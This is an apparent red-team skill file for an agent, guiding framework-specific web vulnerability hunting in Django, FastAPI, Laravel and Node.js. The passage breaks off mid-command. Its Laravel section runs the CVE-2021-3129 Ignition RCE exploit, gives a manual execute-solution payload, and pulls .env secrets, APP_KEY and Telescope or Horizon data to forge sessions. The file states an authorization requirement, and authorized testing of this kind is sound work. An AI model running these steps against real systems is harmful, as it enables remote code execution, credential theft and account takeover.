---

name: hunt-frameworks description: Framework-specific web bug hunting for Django/DRF, FastAPI, Laravel, and Node.js — permission gaps, mass assignment, SSTI, debug surfaces, and prototype pollution. Use when the stack is fingerprinted as one of these frameworks. version: 1.0.0 license: MIT platforms: [linux] metadata: tags: [frameworks, django, fastapi, laravel, nodejs, redteam] category: redteam related_skills: - hunt-prototype-pollution - hunt-mass-assignment - hunt-api-misconfig - hunt-idor - hunt-rce - hunt-ssti - hunt-source-leak

Framework-Specific Hunting (Django, FastAPI, Laravel, Node.js)

Parameterized consolidation of the former hunt-django, hunt-fastapi, hunt-laravel, and hunt-nodejs skills. Pick the section matching the fingerprinted framework; the techniques inside each section are unchanged.

When to Use

• The target is fingerprinted as Django/DRF (csrftoken, /admin/, DRF browsable API), FastAPI (/docs, 422 detail arrays), Laravel (XSRF-TOKEN/laravel_session cookies, Ignition pages), or Node.js/Express (X-Powered-By, EJS/Pug artifacts).
• You need framework-specific sinks rather than generic API testing.

Prerequisites

• Explicit authorization, target boundaries, and rate limits for the target.
• Tooling: curl, jq, python3; framework extras as noted per section (phpggc for Laravel, Node runtime for gadget checks).
• A writable evidence directory: export OUTPUT_DIR="${OUTPUT_DIR:-./output}" && mkdir -p "$OUTPUT_DIR".
• For any state-changing step (registration, PATCH loops, uploads, command-execution probes), obtain explicit confirmation immediately before the command.

How to Run

Fingerprint first, then jump to the matching section:

TARGET="https://target.example"
curl --max-time 10 -sI "$TARGET" | grep -iE "x-powered-by|set-cookie|server"
curl --max-time 10 -sk "$TARGET/docs" -o /dev/null -w "fastapi docs: %{http_code}\n"
curl --max-time 10 -sk "$TARGET/admin/login/" -o /dev/null -w "django admin: %{http_code}\n"
curl --max-time 10 -sk "$TARGET/ignition/health-check" -o /dev/null -w "laravel ignition: %{http_code}\n"

Procedure

Read the framework selection table, then follow the phases of the matching section. Every section keeps its own pitfalls and verification notes.

| Framework | Hunt first | Hunt second | |---|---|---| | Django/DRF | IDOR via ModelViewSet without object perms | SSTI via mark_safe | | FastAPI | OpenAPI-mined hidden routes, dependency-injection auth gaps | Pydantic extra-field mass assignment | | Laravel | Ignition debug RCE preconditions, .env/APP_KEY | Eloquent mass assignment | | Node.js | Prototype pollution to RCE | trust proxy IP spoofing, SSTI in EJS/Pug |

---

Django

Hunt Django-specific vulnerabilities focusing on Django REST Framework (DRF) permission class gaps, ORM raw query injection, template injection via |safe and mark_safe, and Django admin panel exploitation. Django's batteries-included approach creates unique attack surface: admin interface, ORM query building, DRF serializers, Channels WebSockets, and Celery task queues.

Quick Detection

### Django fingerprinting
curl --max-time 30 --connect-timeout 10 -skI "https://target.com/admin/login/" | grep -iE "csrftoken|sessionid|django"
curl --max-time 30 --connect-timeout 10 -sk "https://target.com" | grep -Eo 'csrftoken|__debug__|django'

Pitfalls

• DRF AllowAny ≠ misconfiguration. Verify the endpoint is supposed to be public before reporting.
• Django admin brute force is heavily logged. Use with caution on production targets.
• Template injection requires a sink. Django's template engine auto-escapes by default — |safe or mark_safe must be explicitly used.
• SECRET_KEY must be actually leaked. Guessing or brute-forcing SECRET_KEY is computationally infeasible.

Verification

1. DRF endpoint without IsAuthenticated returns data that should be restricted.
2. ORM raw query injection produces a database error or data exfiltration.
3. Django admin session cookie decoded successfully reveals user ID and session data.
4. Template injection executes JavaScript or reads server files.

Related Skills

• hunt-sqli — Django ORM raw query injection chains to full SQL injection.
• hunt-ssti — Django template injection via user-controlled template names.
• hunt-idor — DRF permission gaps leading to object-level access.

---

FastAPI

Hunt FastAPI-specific vulnerabilities in dependency injection authorization gaps, Pydantic model coercion and extra field exploitation, OpenAPI schema mining for hidden endpoints, and ASGI middleware bypasses. FastAPI's design — dependency injection for auth, Pydantic for validation, OpenAPI auto-generation — creates unique attack surface distinct from Flask or Django.

Quick Detection

### FastAPI fingerprinting
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/openapi.json" | jq '.info.title' 2>/dev/null
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/docs" -w "%{http_code}\n" -o /dev/null
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/redoc" -w "%{http_code}\n" -o /dev/null

Pitfalls

• Pydantic v2 model_config with extra='ignore' silently drops unknown fields. Test both Pydantic v1 and v2 behavior.
• OpenAPI schema may be restricted. If /openapi.json returns 403, try /docs and /redoc which serve the same data.
• FastAPI Depends with Security is NOT the same as Depends. Security integrates with OpenAPI security schemes — but both can be misconfigured.
• Uvicorn --proxy-headers must be enabled for IP spoofing to work. Check with X-Forwarded-For — if the server sees your real IP, proxy headers are disabled.

Verification

1. OpenAPI schema reveals endpoints not documented in the public API docs.
2. An endpoint with Depends(get_current_user) accepts requests without any Authorization header.
3. Pydantic type coercion accepts string values for boolean/integer fields and persists them.
4. WebSocket endpoint accepts connections without session authentication while the REST equivalent requires it.

Related Skills

• hunt-api-misconfig — Broader API configuration issues including Swagger/OpenAPI exposure.
• hunt-idor — Object-level authorization gaps in FastAPI path parameters.
• source-leak-hunt — Directory and endpoint discovery through OpenAPI schema mining.

---

Laravel

Crown Jewel Targets

Laravel debug mode enabled in production = instant RCE via Ignition (CVE-2021-3129).

Highest-value findings:

• Ignition RCE (CVE-2021-3129) — APP_DEBUG=true + Laravel < 8.4.2 → /_ignition/execute-solution RCE without auth
• Telescope dashboard — /telescope exposes full request/response logs, DB queries, Redis commands, scheduled jobs, environment variables
• Horizon dashboard — /horizon exposes queue job details, failed jobs with full payloads (may contain API keys, PII)
• Signed URL manipulation — if URL::signedRoute validates wrong params → bypass signed URL → unauthorized actions
• .env exposure — APP_KEY leaked → decrypt all encrypted cookies → forge session → ATO

---

Phase 1 — Fingerprint Laravel

### Laravel-specific indicators
curl --max-time 30 --connect-timeout 10 -sI https://$TARGET/ | grep -i "laravel_session\|x-powered-by.*php"
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ | grep -i "laravel\|Illuminate\|csrf-token"

### Common Laravel paths
for path in /storage /public /resources "/vendor/laravel" "/.env" "/artisan"; do
  STATUS=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
  [ "$STATUS" != "404" ] && echo "$path: $STATUS"
done

### Check error page (trigger 404)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/definitely-does-not-exist-xyz" | grep -i "laravel\|Whoops\|Ignition\|symfony"

---

Phase 2 — Debug Mode & Ignition RCE (CVE-2021-3129)

### Step 1: Check if debug mode is enabled (Whoops error page)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/nonexistent" | grep -i "Whoops\|APP_DEBUG\|Ignition"

### If Whoops/Ignition is visible → debug mode ON → test CVE-2021-3129

### Step 2: Check Ignition endpoint
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_ignition/health-check" | head -5

### Step 3: CVE-2021-3129 — Laravel < 8.4.2 RCE via log file manipulation
### (Requires debug mode + writable storage/logs)
### Tool: ambionics/laravel-ignition-rce
git clone https://github.com/ambionics/laravel-ignition-rce /tmp/laravel-rce
php /tmp/laravel-rce/exploit.php https://$TARGET "id"

### Manual test — send solution request
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/_ignition/execute-solution" \
  -H "Content-Type: application/json" \
  -d '{
    "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
    "parameters": {
      "variableName": "x",
      "viewFile": "php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log"
    }
  }'

---

Phase 3 — Laravel Telescope & Horizon

### Telescope — request/response logs, DB queries, jobs, cache, events
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/telescope" | grep -i "telescope\|laravel"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/telescope/api/requests" | python3 -m json.tool 2>/dev/null | head -50
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/telescope/api/commands" | python3 -m json.tool 2>/dev/null | head -30
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/telescope/api/redis" | python3 -m json.tool 2>/dev/null | head -30
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/telescope/api/environment" | python3 -m json.tool 2>/dev/null | head -50

### Horizon — queue worker dashboard
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/horizon" | grep -i "horizon\|laravel"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/horizon/api/stats" | python3 -m json.tool 2>/dev/null
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/horizon/api/jobs/failed" | python3 -m json.tool 2>/dev/null | head -50
### Failed job payloads often contain full request data including auth tokens

### Common paths
for path in /telescope /telescope/requests /telescope/api /horizon /horizon/api/stats; do
  STATUS=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
  [ "$STATUS" = "200" ] && echo "[+] ACCESSIBLE: $TARGET$path"
done

---

Phase 4 — .env File & APP_KEY Exposure

### Direct .env access
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/.env" | grep -i "APP_KEY\|DB_PASSWORD\|SECRET\|KEY"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/.env.production"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/.env.backup"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/.env.local"

### If APP_KEY found:
APP_KEY="base64:XXXXXXX"
echo "APP_KEY=$APP_KEY"
### → Can decrypt all Laravel encrypted cookies
### → Can forge session cookies → ATO for any user

### Also check
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/storage/logs/laravel.log" | tail -100 | grep -i "exception\|error\|key\|password"

---

Phase 5 — Signed URL Manipulation

### Laravel signed URLs contain signature param: ?signature=HASH
### Find signed URL endpoints
cat recon/$TARGET/urls.txt | grep "signature="

### Test: modify a non-signature parameter — should fail validation
SIGNED_URL="https://$TARGET/unsubscribe?user=123&email=test@test.com&signature=VALID_SIG"

### Modify user ID → should fail if properly signed
curl --max-time 30 --connect-timeout 10 -s "${SIGNED_URL/user=123/user=999}"

### Test signature bypass: remove signature entirely
curl --max-time 30 --co